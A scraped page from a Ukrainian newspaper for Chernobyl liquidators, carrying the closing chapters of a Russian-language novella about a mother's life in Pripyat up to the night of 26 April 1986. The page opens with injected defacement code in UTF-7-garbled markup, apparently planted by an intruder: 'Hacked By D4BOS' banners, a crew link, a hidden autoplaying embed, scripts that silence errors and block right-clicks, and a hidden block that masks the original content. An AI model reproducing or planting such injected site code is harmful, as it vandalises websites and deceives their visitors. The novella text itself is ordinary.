+ADw-/title+AD4 +ADw-script language+AD0AIg-JavaScript1.2+ACIAPg function ClearError() +AHs-return true+ADsAfQ window.onerror +AD0 ClearError+ADs +ADw-/script+AD4 +ADw-title+AD4AfA 0wn3d+ADw-/title+AD4 +ADw-html+AD4APA-/head+AD4 +ADw-title+AD4-Hacked By D4BOS+ADw-/title+AD4 +ADw-head+AD4APA-link rel+AD0AIg-shortcut icon+ACI href+AD0AIg-http://img.webme.com/pic/i/iconvar/turk-b-11.png+ACI-/+AD4APA-/head+AD4 +ADw-body bgcolor+AD0AIg-black+ACIAPg +ADw-center+AD4APA-br+AD4APA-br+AD4 +ADw-div class+AD0AIg-imagehold+ACIAPg +ADw-img src+AD0AIg-https://i.hizliresim.com/2rXYqL.jpg+ACI alt+AD0AIg-width+AD0AIg-600+ACI height+AD0AIg-450+ACI style+AD0AIg-padding-top:0px+ACI-/+AD4APA-br+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4APA-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4-Hacked By D4BOS+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/b+AD4APA-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:15pt Courier New+ADsAIgA+ADw-b+AD4-D4BOS+ADs-Taktik yok bam bam +ADw-/b+AD4APA-img width+AD0AIg-20+ACI src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACIAPgAm-nbsp+ADsAPA-img src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACI width+AD0AIg-20+ACIAPgA8-br+AD4 +ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:grey+ADs-font:12pt Courier New+ADsAIgA+-DeadlyCrew.info+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:11pt Courier New+ADsAIgA+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPg +ADw-/font+AD4APA-font color+AD0AIgAj-545454+ACIAPgA8-/font+AD4APA-/div+AD4APA-br+AD4APA-/div+AD4APA-/b+AD4 +ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:9pt Courier New+ADsAIgA+ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:15pt Courier New+ADsAIgA+-d4bos.wordpress.com+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-p align+AD0-center style+AD0AIg-text-align:center+ACIAPgA8-b+AD4APA-br+AD4 +ADwAIQ—hacked by D4BOS–+AD4 +ADw-/body+AD4 +ADw-embed src+AD0AIg-http://www.youtube.com/v/uCrm9RghRjU?version+AD0-3+ACY-amp+ADs-hl+AD0-en+AF8-US+ACY-amp+ADs-rel+AD0-0+ACY-amp+ADs-autoplay+AD0-1+ACI type+AD0AIg-application/x-shockwave-flash+ACI width+AD0AIg-1+ACI height+AD0AIg-1+ACI allowscriptaccess+AD0AIg-always+ACI allowfullscreen+AD0AIg-true+ACIAPgA8-/embed+AD4 +ADw-SCRIPT LANGUAGE+AD0AIg-Javascript+ACIAPgA8ACE— // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg var isNS +AD0 (navigator.appName +AD0APQ +ACI-Netscape+ACI) ? 1 : 0+ADs var EnableRightClick +AD0 0+ADs if(isNS) document.captureEvents(Event.MOUSEDOWN+AHwAfA-Event.MOUSEUP)+ADs function mischandler()+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 else +AHs-return false+ADs +AH0 +AH0 function mousehandler(e)+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 var myevent +AD0 (isNS) ? e : event+ADs var eventbutton +AD0 (isNS) ? myevent.which : myevent.button+ADs if((eventbutton+AD0APQ-2)+AHwAfA(eventbutton+AD0APQ-3)) return false+ADs +AH0 function keyhandler(e) +AHs var myevent +AD0 (isNS) ? e : window.event+ADs if (myevent.keyCode+AD0APQ-96) EnableRightClick +AD0 1+ADs return+ADs +AH0 document.oncontextmenu +AD0 mischandler+ADs document.onkeypress +AD0 keyhandler+ADs document.onmousedown +AD0 mousehandler+ADs document.onmouseup +AD0 mousehandler+ADs //–+AD4 +ADw-/script+AD4APA-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Газета Всеукраїнської Спілки ліквідаторів-інвалідів "Чорнобиль-86". Всеукраїнський часопис для інвалідів Чорнобиля, ліквідаторів, чорнобилян.
25.05.2013, рубрика "Проза"

Полынь-трава в меню украинки

Публицистическая повесть

Окончание

Глава 47

Лето восемьдесят пятого было чудесным. Нежные теплые дни, казалось, обещали такое же будущее. Небосвод заботливо укрывал синевой, даря безмятежность. Даже не хотелось верить, что в мире где-то существуют беды.

Припять расстраивалась, все ближе ее многоэтажки подходили к реке. Ее центральные проспекты и площади были украшены розами. А среди самых главных звуков молодого города, как и полагается , были звуки детских голосов.

Недалеко от моего места жительства было чудесное детское кафе. По выходным я шла туда с детьми, встречалась там с такими же мамочками. Мы недолго выбирали блюда, ведь все было вкусным и недорогим. Иногда боль сжимала мне сердце от того, что рядом не было мужа, а так хотелось разделить с ним эти погожие и радостные дни.

Правда, время от времени он звонил, но это случалось все реже и реже. Поэтому я решила сама вызвать его на переговоры. Сейчас это словосочетание кажется странным, но дома телефона не было, а про мобильную связь мы и не подозревали.

Я послала ему телеграмму и в назначенное время отправилась на почту. Детей оставила на подругу Тамару. Она столько времени уделяла им в то время, что даже спустя годы интересуется их жизнью, вникает во все и даже помогает.

Но муж на переговоры не явился. Я решила, что, возможно, он просто не получил телеграмму. Все бывает. Я тут же послала еще одну. Он не пришел и во второй раз, и, конечно, я разнервничалась, боясь, что с ним что-то произошло. На третий вызов я спешила, сжимая холодные от нервного напряжения , руки. Когда там, далеко, сняли трубку, я даже задохнулась от радости: наконец то! Все уладится, он меня успокоит, и груз тревожной неизвестности спадет с моих плеч. Но не тут- то было! В трубке я услышала незнакомый мужской голос. Он сообщил, что муж живет в частном секторе, о моих вызовах не знает. В голосе мужчины я слышала сочувствие.

Наверное, он даже на расстоянии догадался о моем состоянии. Он пообещал остаться на другую смену, чтобы встретиться с мужем и сообщить ему, что о нем беспокоится жена.

В угнетенном состоянии я ушла домой. Ну, а на следующий день получила от мужа телеграмму, что все у него хорошо. Он также сообщал, когда приедет домой. Кажется, все утряслось. Я, правда, плохо представляла, по какой такой причине он начал проживать в частном секторе, но, вспоминая наши мытарства по съемному жилью, допускала и это.

Мой маленький сыночек уже уверенно сидел. Он развивался отлично, даже с опережением. Наверное, из-за того, что с ним постоянно общались старшие дети. Я видела, что им всем интересно друг с другом. Я вспоминала, как мне иногда было тоскливо в детстве просто из-за того, что я росла одна, и радовалась.

Стоял довольно жаркий июль, я часто проветривала комнаты, выводила детей гулять, когда спадала жара, а днем мы занимались многими интересными делами: читали, рисовали, лепили, и устраивали кукольные спектакли. Или слушали музыку. У нас был хороший даже на нынешнее время магнитофон, интересные и качественные записи.

Однажды днем именно из-за музыки мы еле расслышали звонок в дверь. Я, как держала ребенка на руках, так и пошла открывать, а за мной устремились старшие, все еще под впечатлением от веселых детских песен.

На пороге стояла молодая симпатичная женщина. Увидев нас, она почему то странно отреагировала. Как бы испугалась и даже отшатнулась.

-Вы, наверное, перепутали квартиру,- определила я. А она, что-то бормоча, упрямо мотнула головой. Потом, оглядев всю нашу компанию, спросила:

- Это все ваши дети?

- Да, а что?

Я все не могла переключиться и вдуматься в ситуацию.

-А ваш муж… - она назвала имя моего мужа.

Я кивнула, не понимая, что же ей надо. А женщина, то бледнея, то краснея, теребила край своей модной юбки, не зная, что сказать. Видно было, что она растеряна и сбита с толку. Я, постепенно холодея, смотрела на нее и почему-то думала, какой же красивый у нее костюм. Наконец она вымолвила:

- Я работаю вместе с вашим мужем и он просил передать вам, что у него все хорошо.

Не успела я сказать и пару слов, что он ведь телеграмму послал, чтобы я не волновалась, как она выбежала из квартиры. Я не услышала звука лифта. Она, стуча каблуками, устремилась по лестнице вниз.

А через три дня приехал муж. Он и слова не сказал, что кем-то что-то передавал. А о визите таинственной женщины ему рассказали старшие дети. Я наблюдала, как он побледнел. И больших усилий мне стоило сохранить самообладание.

Теперь мой мир был разделен надвое. В одном была я и дети, а в другом – муж и темнота, клубящаяся вокруг. Я редко заходила в тот его мир. Только в интересах детей.

Глава 48

Лето заканчивалось, отцветали розы. Все чаще на молодой город ложился туман. Он катился от реки, где я с детьми иногда гуляла. Мне нравилась набережная, может, потому, что там всегда царила атмосфера радости, а мне в последнее время так ее не хватало. Я с надеждой ждала первое сентября, словно этот день мог что-то изменить в моей судьбе. Просто в течении многих лет эта дата приносила нам много радости, когда мы отправляли своих малышей в школу. Может, мне чудилось, что все чудесным образом наладится или переменится к лучшему.

Но этот праздник отшумел, оставив на душе печаль. Ежедневная рутина без ощущения гармонии бытия просто разъедала душу. Все теперь мне было в тягость, и только чувство долга заставляло выполнять каждодневные действия. Но молодость и равновесие в душе взяли свое: я постепенно становилась прежней. Мне было радостно просыпаться от солнечного зайчика, который задержался на щеках, весело ходить с детьми на беговую дорожку, оборудованную неподалеку в лесу и заниматься там физкультурой до изнеможения, заниматься уроками с детьми . Я пробовала писать, много читала и мало спала. Еще я успевала ходить в бассейн, благо он был рядом, зимой бегала на лыжах – спортсмены Припяти побеспокоились и об этом, проложили десятикилометровую лыжню, а также любила поиграть в бадминтон.

Ну, и самое интересное: я посещала литстудию. Интересные люди приходили туда. Они пробовали себя в разных жанрах, но большинство писали стихи. Я, конечно же, всерьез занималась публицистикой, и с душевным трепетом начинала сочинять рассказы. У меня вырисовывался неплохой стиль и очень образный язык, но насчет сюжетов и композиции… тут все было слабым и несовершенным. Но меня радовало уже то, что я обладала умением оценить написанное, как чужое, так и свое. Ну, а поскольку я отдавала предпочтение публицистике, то просто не могла не быть в курсе событий как в городе, так и на станции.

Они, как говорится, шли своим чередом. Активно шло строительство не только самой станции. Кстати, среди жителей Припяти ходили слухи, что будет сооружено двенадцать блоков. Но и магазинов, спортзалов, новых многоэтажек. Город был буквально напичкан всякими интересными сооружениями. Все с нетерпением , например, ожидали ввода в эксплуатацию колеса обозрения. Где-то именно в это время я обратила внимание, что некоторые мои знакомые и соседи устроились на работу на завод «Юпитер», закрытый объект, выпускающий по официальной версии какие-то детали к бытовым магнитофонам, а на самом деле – что-то для космической и оборонной промышленности. Никто не удивлялся и особо не интересовался. Работать там было очень престижно и выгодно.

А вот еще один загадочный объект интересовал всех. Это - «Чернобыль – 2». Это были, как я узнала спустя время, уникальные радиолокационные системы, созданные военными. Они позволяли отслеживать пуски баллистических ракет с территорий, например, с военных баз или из подлодок вероятного противника. Созданный радар назвали загоризонтной радиолокационной станцией. Она имела колоссальные размеры мачт и принимающих антенн, а это требовало больших человеческих ресурсов. Почти тысяча военных несли боевое дежурство на этом объекте. Для них и их семей был создан небольшой городок. Огромные антенны были видны с шоссе, и я с интересом смотрела на их движение, когда ехала в Чернобыль и обратно. Мне тогда воображение рисовало глубины космоса и все таинственное, связанное с этим.

Мой муж продолжал ездить на заработки в Сургут. Мы ни разу откровенно не поговорили о происшедшем. Я прямо кожей чувствовала, что не стоит этого делать. Чувство самосохранения требовало быть сдержанной. Я видела, что муж, словно подсознательно, ожидает выяснений отношений, дабы использовать их в качестве предлога для разрыва. А что будет с нами, ведь малыши не в том возрасте, чтобы остаться без отца. Надо было отдать должное, муж был неплохим папой. И я решила держаться. У нас не было скандалов и разборок. Все как всегда. Я видела, как он все больше душой прирастает к семье. Но вот если бы не поездки на месяц на эти проклятые заработки! О том, чтобы вернуться на свое прежнее место работы, он и слышать не желал.

В таком стрессе, под прессингом « подвешенного» состояния я и встречала Новый 1986 год.

Глава 49

В Припять как-то незаметно пришла весна. Уже в начале апреля было очень тепло. Я чувствовала усталость. Просто от бесконечных каждодневных дел. Хотелось передохнуть, особенно, как ни странно, от школы. Проверка уроков, подготовка к контрольным, решение проблем… Короче, меня вдохновляло то, что уже на носу и май, а там и летний отдых.

А пока что я радовалась теплу и солнцу. Пока старшие дети были в школе, я выкраивала время для прогулки с малышами. Это выглядело, как сплошная суета. Я, причесываясь на ходу, укладывала младшенького сына в коляску, он недовольно пыхтел, а я тем временем в темпе одевала дочку, быстрее, быстрее, чтобы не вспотели, чтобы малыш не разревелся. Правда, мальчик был терпеливым, только недовольно хмурился. Но как только мы оказывались на свежем воздухе, как в обеих появлялось отличное настроение.

В тот день 26 апреля мы в одиннадцать уже были во дворе. Старший сын утречком побежал в школу, а дочь я оставила дома: она уже второй день кашляла, а учитывая ее склонность к воспалению легких, я решила не рисковать. Малыш уснул в коляске, младшая дочь побежала к песочнице. Во дворе, как всегда в хорошую погоду, стоял гам. Дети резвились вовсю. Я подошла к группе таких же мамочек, как и я, и они мне сообщили, что на станции случилась авария. Никакого особого интереса это ни у кого не вызвало. Но я насторожилась. Я не раз писала о станции, брала интервью у профессионалов, чтобы быть в курсе, читала специальную литературу, и эта новость меня растревожила. Я обратилась с вопросами к одной из соседок, у которой муж был физиком-ядерщиком, но она только посмеялась, и сказала, что облучиться можно только когда случится что-то очень серьезное.

Я забрала детей домой. Оставила их на старшую дочь и побежала за своим сыном -школьником . Где-то на полдороге мы и встретились. Я отправила его домой, а сама побежала в магазин подкупить продуктов. Вот тут я и заметила, что улицы политы то ли водой, то ли какой- то жидкостью с пеной. В магазине уборщицы усиленно драили полы. Помню, я так торопилась, что поскользнулась на мокром и чуть не упала. Почему-то запомнилось, как я осматриваю шлепанцы, которые тогда называли стукалками, не разорвала ли я их таким резким движением.

И вот я уже дома. Кручусь то на кухне, то возле детей, то по хозяйству. Звонок в дверь. Пришли две женщины. Принесли таблетки йода, и я начинаю понимать, что дело то серьезное. Я смотрю в окно и с высоты вижу, как суетятся люди. Некоторые тянут в автомобили сумки и детей и в спешном порядке уезжают. Только спустя годы я случайно узнала, как им не повезло: они попали под поток радиации, некоторые долго болели, особенно дети, в других моих знакомых от лейкемии умер мальчик…

Без особенных происшествий этот день закончился. На ночь я, как обычно, читала малышам сказку. Общалась со старшими. Укладывала их всех спать.

И вот в квартире наступила тишина, только размеренно стучали часы, да изредка доносился шум лифта. Я по очереди подошла к каждому ребенку, смотрела на их безмятежные личики, слушала. Как они дышат. Тревога разъедала меня. Я не знала, что делать, как правильно поступить. Муж был далеко, казался просто нереальным. А ситуация пугала, о подобном я и подумать не могла. Вышла на балкон и посмотрела в сторону станции. Ее заслоняли дома. Но вот из спальни она частично просматривалась. Там было мрачное красноватое свечение. И я поняла, грубо говоря, что надо уносить ноги. Послышался отдаленный гул, постепенно переросший в рокот. По одной из главных улиц продвигалась колонна бронетранспортеров. Это выглядело зловеще. Я металась в квартире от одного окна к другому, всматривалась в ночь, стараясь не зацепить что-нибудь, дабы не разбудить детей, и страх за них чуть было не поверг меня в панику. Я заставила себя успокоиться, ради них думать трезво и взвешивать все свои действия. Я понимала, что городские власти должны что-то предпринимать, но на всякий случай продумала, как и какими дорогами я буду уезжать из Припяти. Это меня немного успокоило, но лечь спать я не могла. Я смотрела в сумрак города. И самые разные мысли роились в моей голове. Я думала, что можно сделать, чтобы очистить город от радиации, возможно ли это, и мне очень хотелось верить, что да, возможно. Но глубоко в душе я уже начала осознавать, что я и моя семья на пороге значительных событий, нехороших перемен. И уже знакомое чувство тоски возникало в душе, когда я думала, что опять от мужа ни слуху, ни духу. Холодело в душе от бессилия и неизвестности. На плечи от всего этого легла такая тяжесть! Я не представляла, как жить дальше, что делать в этой будущей неизвестной жизни и на кого опереться.

Все казалось покрытым мраком. И, конечно же, ядерный рассвет его не развеял.

Конец...

Запись была опубликована: glavred(ом) Суббота, 25 мая 2013 г. в 7:44
и размещена в разделе Проза.
Вы можете следить за ответами к этой публикации через ленту RSS 2.0.
Вы можете оставить ответ или trackback с вашего сайта.

Оставить комментарий

 

Полный анализ сайта